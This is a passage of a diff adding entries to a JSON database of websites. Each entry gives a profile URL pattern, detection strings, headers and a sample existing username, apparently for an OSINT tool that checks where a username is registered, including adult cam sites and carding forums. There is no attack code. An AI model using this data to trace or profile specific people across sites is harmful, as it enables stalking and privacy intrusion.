"noonewouldeverusethis7" + }, + "Blu-ray": { + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 16342, + "urlMain": "https://forum.blu-ray.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "BoardGameGeek": { + "checkType": "message", + "tags": [ + "gaming", + "us" + ], + "absenceStrs": [ + "\t\tUser not found", + "messagebox error", + ">\t
    Profile | BoardGameGeek", + "\t
    " + ], + "alexaRank": 4327, + "urlMain": "https://boardgamegeek.com", + "url": "https://boardgamegeek.com/user/{username}", + "usernameClaimed": "ZakuBG", + "usernameUnclaimed": "uzytnhstvj", + "presenseStrs": [ + "username", + " style=", + "mail", + " \tstyle=", + " data-username=" + ] + }, + "Bobrdobr": { + "tags": [ + "az", + "in", + "ru", + "tr", + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "\u0417\u0430\u043a\u043b\u0430\u0434\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430." + ], + "alexaRank": 208648, + "urlMain": "https://bobrdobr.ru", + "url": "https://bobrdobr.ru/people/{username}/", + "usernameClaimed": "igrozona", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BodyBuilding": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 2233, + "urlMain": "https://bodyspace.bodybuilding.com/", + "url": "https://bodyspace.bodybuilding.com/{username}", + "errorUrl": "https://bodyspace.bodybuilding.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BongaCams": { + "tags": [ + "cz", + "webcam" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Referer": "https://pt.bongacams.com/", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "same-origin", + "Sec-Fetch-User": "?1" + }, + "absenceStrs": [ + "- BongaCams" + ], + "presenseStrs": [ + "Informa\u00e7\u00e3o e p\u00e1gina" + ], + "checkType": "message", + "alexaRank": 30, + "urlMain": "https://sbongacams.com", + "url": "https://bongacams.com/profile/{username}", + "urlProbe": "https://pt.bongacams.com/profile/{username}", + "usernameClaimed": "Icehotangel", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Bookandreader": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 3984210, + "urlMain": "https://www.bookandreader.com", + "usernameClaimed": "Wabbit", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bookcrossing": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 54251, + "urlMain": "https://www.bookcrossing.com/", + "url": "https://www.bookcrossing.com/mybookshelf/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Bookmate": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry! We couldn\u2019t find what you were looking for", + "error-cartoon__image" + ], + "alexaRank": 88183, + "urlMain": "https://ru.bookmate.com", + "url": "https://ru.bookmate.com/authors/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BoomInfo": { + "disabled": true, + "ignore403": true, + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 5926590, + "urlMain": "https://boominfo.ru", + "url": "https://boominfo.ru/members/?username={username}", + "usernameClaimed": "boominfo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Boosty": { + "tags": [ + "eu", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<title>" + ], + "presenseStrs": [ + "Boosty " + ], + "alexaRank": 36134, + "urlMain": "https://boosty.to", + "url": "https://boosty.to/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Borsch.gallery": { + "checkType": "status_code", + "alexaRank": 2681015, + "urlMain": "https://borsch.gallery", + "url": "https://borsch.gallery/hudozhniki/{username}", + "usernameClaimed": "yana-chursina", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "art", + "shopping" + ] + }, + "Boxing": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 4329606, + "urlMain": "http://boxing.ru/", + "url": "http://boxing.ru/forum/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bratsk Forum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 565986, + "urlMain": "http://forum.bratsk.org", + "url": "http://forum.bratsk.org/member.php?username={username}", + "usernameClaimed": "nekto", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Brute": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 3698666, + "urlMain": "https://brute.su", + "url": "https://brute.su/members/?username={username}", + "usernameClaimed": "Neon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bugcrowd": { + "checkType": "message", + "absenceStrs": [ + ">Bugcrowd | Error" + ], + "presenseStrs": [ + "s researcher profile on Bugcrowd" + ], + "url": "https://bugcrowd.com/{username}", + "usernameClaimed": "mert", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bukkit": { + "tags": [ + "at", + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 31587, + "urlMain": "https://bukkit.org/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BuyMeACoffee": { + "tags": [ + "in" + ], + "urlProbe": "https://www.buymeacoffee.com/{username}", + "checkType": "status_code", + "alexaRank": 4804, + "urlMain": "https://www.buymeacoffee.com/", + "url": "https://buymeacoff.ee/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BuzzFeed": { + "tags": [ + "news", + "us" + ], + "checkType": "status_code", + "alexaRank": 511, + "urlMain": "https://buzzfeed.com/", + "url": "https://buzzfeed.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "xgtrq" + }, + "Buzznet": { + "checkType": "message", + "absenceStrs": [ + "Author: - Buzznet" + ], + "url": "https://www.buzznet.com/author/{username}", + "usernameClaimed": "karynbailey", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Byte": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 272043, + "urlMain": "https://community.byte.co", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Caringbridge": { + "checkType": "message", + "absenceStrs": [ + "Sorry, we can\u2019t find that site" + ], + "presenseStrs": [ + "| CaringBridge" + ], + "url": "https://www.caringbridge.org/visit/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Carrd.co": { + "checkType": "message", + "absenceStrs": [ + "Sorry, the requested page could not be found." + ], + "presenseStrs": [ + "( Made with Carrd )" + ], + "url": "https://{username}.carrd.co", + "usernameClaimed": "peter", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cash.app": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for can't be found" + ], + "presenseStrs": [ + "on Cash App" + ], + "url": "https://cash.app/${username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Castingcallclub": { + "checkType": "message", + "absenceStrs": [ + "404: This is not the page you were looking for. In the future, our AI robot overlords will be able to better predict exactly what you were looking for." + ], + "presenseStrs": [ + "| Casting Call Club" + ], + "url": "https://www.castingcall.club/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CD-Action": { + "checkType": "message", + "absenceStrs": [ + "Co\u015b si\u0119 popsu\u0142o..." + ], + "presenseStrs": [ + "Lista gier:" + ], + "url": "https://cdaction.pl/uzytkownicy/{username}", + "usernameClaimed": "jfchaaber", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cda.pl": { + "checkType": "message", + "absenceStrs": [ + "Strona na kt\u00f3r\u0105 chcesz wej\u015b\u0107 nie istnieje" + ], + "presenseStrs": [ + "Foldery" + ], + "url": "https://www.cda.pl/{username}", + "usernameClaimed": "test2", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chamsko.pl": { + "checkType": "message", + "absenceStrs": [ + "Strona nie istnieje." + ], + "presenseStrs": [ + "W serwisie od" + ], + "url": "https://www.chamsko.pl/profil/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chomikuj.pl": { + "checkType": "message", + "absenceStrs": [ + "homik o takiej nazwie nie istnieje" + ], + "presenseStrs": [ + "Foldery" + ], + "url": "https://chomikuj.pl/{username}/", + "usernameClaimed": "uheara_konen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CNET": { + "tags": [ + "news", + "tech", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "error_404", + "c-error404", + "Author not found", + "c-error404_back", + "c-error404_header" + ], + "presenseStrs": [ + "},firstName:", + "#email", + ",cmsDisplayName:", + "og:title", + "c-pageProfile" + ], + "alexaRank": 181, + "urlMain": "https://www.cnet.com", + "url": "https://www.cnet.com/profiles/{username}/", + "usernameClaimed": "leadicicco", + "usernameUnclaimed": "chexowcxzm", + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" + } + }, + "CORSAIR": { + "urlSubpath": "/v3", + "disabled": true, + "tags": [ + "forum", + "us" + ], + "presenseStrs": [ + "reputation_alexaRank" + ], + "engine": "vBulletin", + "alexaRank": 6895, + "urlMain": "https://forum.corsair.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CPlusPlus": { + "checkType": "message", + "absenceStrs": [ + "404 Page Not Found" + ], + "urlMain": "https://3examplesite.ru", + "url": "http://www.cplusplus.com/user/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true, + "tags": [ + "ru" + ] + }, + "Crowdin": { + "checkType": "message", + "absenceStrs": [ + "Page Not Found - Crowdin" + ], + "presenseStrs": [ + ") \u2013 Crowdin" + ], + "url": "https://crowdin.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CS-Lords": { + "tags": [ + "gaming", + "ru" + ], + "engine": "uCoz", + "alexaRank": 5350740, + "urlMain": "http://cs-lords.ru", + "usernameClaimed": "Lexx", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cad": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0424\u043e\u0440\u0443\u043c" + ], + "alexaRank": 809683, + "urlMain": "https://cad.ru", + "url": "https://cad.ru/ru/forum/index.php?PAGE_NAME=profile_view&UID={username}", + "usernameClaimed": "SergeT", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Caduser": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 792871, + "urlMain": "https://www.caduser.ru/", + "url": "https://www.caduser.ru/forum/userlist.php?username={username}", + "usernameClaimed": "adamas", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CapFriendly": { + "disabled": true, + "tags": [ + "ca", + "us" + ], + "regexCheck": "^[a-zA-z][a-zA-Z0-9_]{2,79}$", + "checkType": "message", + "absenceStrs": [ + "
    No results found
    " + ], + "alexaRank": 48318, + "urlMain": "https://www.capfriendly.com/", + "url": "https://www.capfriendly.com/users/{username}", + "usernameClaimed": "thisactuallyexists", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CapitalcityCombats": { + "tags": [ + "ru" + ], + "checkType": "message", + "errors": { + "http://img.combats.com/errs/503.png": "Maintenance" + }, + "absenceStrs": [ + "\u041f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430" + ], + "alexaRank": 90420, + "urlMain": "http://capitalcity.combats.com", + "url": "http://capitalcity.combats.com/inf.pl?{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Carbonmade": { + "tags": [ + "in", + "us" + ], + "checkType": "response_url", + "alexaRank": 29405, + "urlMain": "https://carbonmade.com/", + "url": "https://{username}.carbonmade.com", + "errorUrl": "https://carbonmade.com/fourohfour?domain={username}.carbonmade.com", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CardingForum": { + "disabled": true, + "tags": [ + "forum", + "ma", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 2448684, + "urlMain": "https://cardingforum.co", + "url": "https://cardingforum.co/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Cardingsite": { + "disabled": true, + "tags": [ + "pk" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 1418423, + "urlMain": "https://cardingsite.cc", + "url": "https://cardingsite.cc/members/?username={username}", + "usernameClaimed": "zombe", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HabrCareer": { + "tags": [ + "career", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "

    \u041e\u0448\u0438\u0431\u043a\u0430 404

    " + ], + "alexaRank": 1265, + "urlMain": "https://career.habr.com/", + "url": "https://career.habr.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Carmasters": { + "tags": [ + "fi", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u043f\u043e\u0438\u0441\u043a\u0430 \u043d\u0435\u0442. \u0420\u0430\u0441\u0448\u0438\u0440\u044c\u0442\u0435 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430." + ], + "alexaRank": 165361, + "urlMain": "https://carmasters.org", + "url": "https://carmasters.org/search/?q={username}&quick=1&type=core_members", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CashMe": { + "disabled": true, + "errors": { + "Cash isn't available in your country yet.": "Access denied in your country, use proxy/vpn" + }, + "checkType": "status_code", + "urlMain": "https://cash.me/", + "url": "https://cash.me/${username}", + "usernameClaimed": "Jenny", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5273271 + }, + "Casial": { + "tags": [ + "de" + ], + "checkType": "message", + "absenceStrs": [ + "Online Casino Forum" + ], + "urlMain": "http://www.casial.net", + "url": "http://www.casial.net/forum/members/{username}.html", + "usernameClaimed": "irgent", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4165284 + }, + "Casino-affiliate-forum": { + "tags": [ + "de", + "forum" + ], + "engine": "Discourse", + "urlMain": "https://www.casino-affiliate-forum.com", + "usernameClaimed": "torstenw", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Caves": { + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 1010183, + "urlMain": "https://caves.ru", + "usernameClaimed": "junk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cbr": { + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 2689, + "urlMain": "https://community.cbr.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Ccdi": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2823700, + "urlMain": "http://www.ccdi.ru/", + "url": "http://www.ccdi.ru/users/{username}", + "usernameClaimed": "Nikita55", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ccm": { + "tags": [ + "ao", + "in", + "ve" + ], + "checkType": "status_code", + "alexaRank": 2274, + "urlMain": "https://ccm.net", + "url": "https://ccm.net/profile/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ccmixter": { + "tags": [ + "music" + ], + "checkType": "message", + "absenceStrs": [ + "ERROR(2)", + "Sorry, we don't know who that is..." + ], + "presenseStrs": [ + "Member since" + ], + "alexaRank": 93540, + "urlMain": "http://ccmixter.org/", + "url": "http://ccmixter.org/people/{username}/profile", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cent": { + "tags": [ + "art", + "us", + "writing" + ], + "urlProbe": "https://beta.cent.co/data/user/profile?userHandles={username}", + "checkType": "message", + "presenseStrs": [ + "display_name" + ], + "absenceStrs": [ + "\"results\":[]" + ], + "alexaRank": 21594, + "urlMain": "https://cent.co/", + "url": "https://beta.cent.co/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cfire": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 309789, + "urlMain": "https://cfire.ru", + "url": "https://cfire.ru/forums/member.php?username={username}", + "usernameClaimed": "laid1998", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Championat": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 738, + "urlMain": "https://www.championat.com/", + "url": "https://www.championat.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chan4chan": { + "tags": [ + "hu" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Log in - Chan4Chan" + ], + "alexaRank": 1229741, + "urlMain": "http://chan4chan.com/", + "url": "http://chan4chan.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chatujme.cz": { + "checkType": "message", + "absenceStrs": [ + "Neexistujic\u00ed profil", + "Str\u00e1nka nebyla nalezena" + ], + "alexaRank": 2736599, + "urlMain": "https://chatujme.cz/", + "url": "https://profil.chatujme.cz/{username}", + "usernameClaimed": "david", + "usernameUnclaimed": "noonewouldeverusethis", + "tags": [ + "cz", + "dating" + ] + }, + "ChaturBate": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 62, + "urlMain": "https://chaturbate.com", + "url": "https://chaturbate.com/{username}", + "usernameClaimed": "cute18cute", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Cheezburger": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 4449, + "urlMain": "https://profile.cheezburger.com", + "url": "https://profile.cheezburger.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chemistlab": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1330779, + "urlMain": "http://chemistlab.ru", + "usernameClaimed": "FilIgor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chemport": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 310804, + "urlMain": "https://www.chemport.ru", + "usernameClaimed": "serge", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chess": { + "tags": [ + "gaming", + "hobby" + ], + "checkType": "message", + "absenceStrs": [ + "error image", + "

    404 Page not found

    ", + "_404-header", + "_404-inner-container", + " no-nav " + ], + "presenseStrs": [ + "profile-top", + "og:title", + " style=", + "view-profile", + " data-username=" + ], + "alexaRank": 211, + "urlMain": "https://www.chess.com", + "url": "https://www.chess.com/member/{username}", + "usernameClaimed": "sexytwerker69", + "usernameUnclaimed": "aublurbrxm", + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" + } + }, + "Chess-russia": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "urlMain": "http://www.chess-russia.ru", + "url": "http://www.chess-russia.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Sova0102", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chessclub": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Internet Chess Club Forum | Forum Home", + "The member profile you requested is currently not available", + "There are no records on this user." + ], + "alexaRank": 325766, + "urlMain": "https://www.chessclub.com", + "url": "https://www.chessclub.com/forums/member/{username}", + "usernameClaimed": "Lyon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chevrolet-cruze-club": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 2340660, + "urlMain": "http://www.chevrolet-cruze-club.ru", + "url": "http://www.chevrolet-cruze-club.ru/forum/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chipmaker": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u043f\u043e\u0438\u0441\u043a\u0430 \u043d\u0435\u0442. \u0420\u0430\u0441\u0448\u0438\u0440\u044c\u0442\u0435 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430." + ], + "alexaRank": 59877, + "urlMain": "https://www.chipmaker.ru", + "url": "https://www.chipmaker.ru/search/?q={username}&quick=1&type=core_members", + "usernameClaimed": "hiro", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chitalnya": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 34182, + "urlMain": "https://www.chitalnya.ru", + "url": "https://www.chitalnya.ru/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chpoking": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 235983, + "urlMain": "http://chpoking.ru", + "url": "http://chpoking.ru/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Citizen4": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono" + ], + "presenseStrs": [ + "@soc.citizen4.eu" + ], + "url": "https://soc.citizen4.eu/profile/{username}/profile", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cloob": { + "tags": [ + "ir" + ], + "checkType": "status_code", + "alexaRank": 20571, + "urlMain": "https://www.cloob.com/", + "url": "https://www.cloob.com/name/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "CloudflareCommunity": { + "tags": [ + "forum", + "tech" + ], + "engine": "Discourse", + "alexaRank": 976, + "urlMain": "https://community.cloudflare.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Clozemaster": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Oh no! Player not found" + ], + "alexaRank": 72233, + "urlMain": "https://www.clozemaster.com", + "url": "https://www.clozemaster.com/players/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Club-comedy.clan.su": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "https://club-comedy.clan.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cmet4uk": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 225146, + "urlMain": "https://cmet4uk.ru", + "usernameClaimed": "vladnik", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codecademy": { + "tags": [ + "coding", + "education" + ], + "checkType": "message", + "absenceStrs": [ + "This profile could not be found" + ], + "presenseStrs": [ + "Codecademy profile page for" + ], + "alexaRank": 2566, + "urlMain": "https://www.codecademy.com/", + "url": "https://www.codecademy.com/profiles/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codecanyon": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 1470, + "urlMain": "https://codecanyon.net", + "url": "https://codecanyon.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codechef": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 7932, + "urlMain": "https://www.codechef.com/", + "url": "https://www.codechef.com/users/{username}", + "errorUrl": "https://www.codechef.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codementor": { + "tags": [ + "coding", + "in" + ], + "checkType": "message", + "presenseStrs": [ + "
    " + ], + "absenceStrs": [ + "Adapted from" + ], + "alexaRank": 7204, + "urlMain": "https://www.codementor.io/", + "url": "https://www.codementor.io/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codepen": { + "tags": [ + "coding", + "in" + ], + "errors": { + "Checking your browser before accessing": "Autoredirect detected" + }, + "checkType": "message", + "absenceStrs": [ + "I'm afraid you've found a page that doesn't exist on CodePen" + ], + "alexaRank": 1967, + "urlMain": "https://codepen.io/", + "url": "https://codepen.io/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Coderwall": { + "tags": [ + "coding", + "in" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "404! Our feels when that url is used" + ], + "alexaRank": 17775, + "urlMain": "https://coderwall.com/", + "url": "https://coderwall.com/{username}", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codewars": { + "tags": [ + "coding", + "us" + ], + "checkType": "status_code", + "alexaRank": 20867, + "urlMain": "https://www.codewars.com", + "url": "https://www.codewars.com/users/{username}", + "usernameClaimed": "example", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Comedy": { + "tags": [ + "gb", + "in", + "movies", + "pk", + "us" + ], + "checkType": "status_code", + "alexaRank": 131071, + "urlMain": "https://www.comedy.co.uk", + "url": "https://www.comedy.co.uk/profile/{username}/", + "usernameClaimed": "joel-sandbach", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ComicvineGamespot": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 875, + "urlMain": "https://comicvine.gamespot.com/", + "url": "https://comicvine.gamespot.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Computerbase": { + "disabled": true, + "tags": [ + "de" + ], + "checkType": "message", + "absenceStrs": [ + "Das gew\u00fcnschte Mitglied kann nicht gefunden werden" + ], + "alexaRank": 8982, + "urlMain": "https://www.computerbase.de", + "url": "https://www.computerbase.de/forum/members/?username={username}", + "usernameClaimed": "red", + 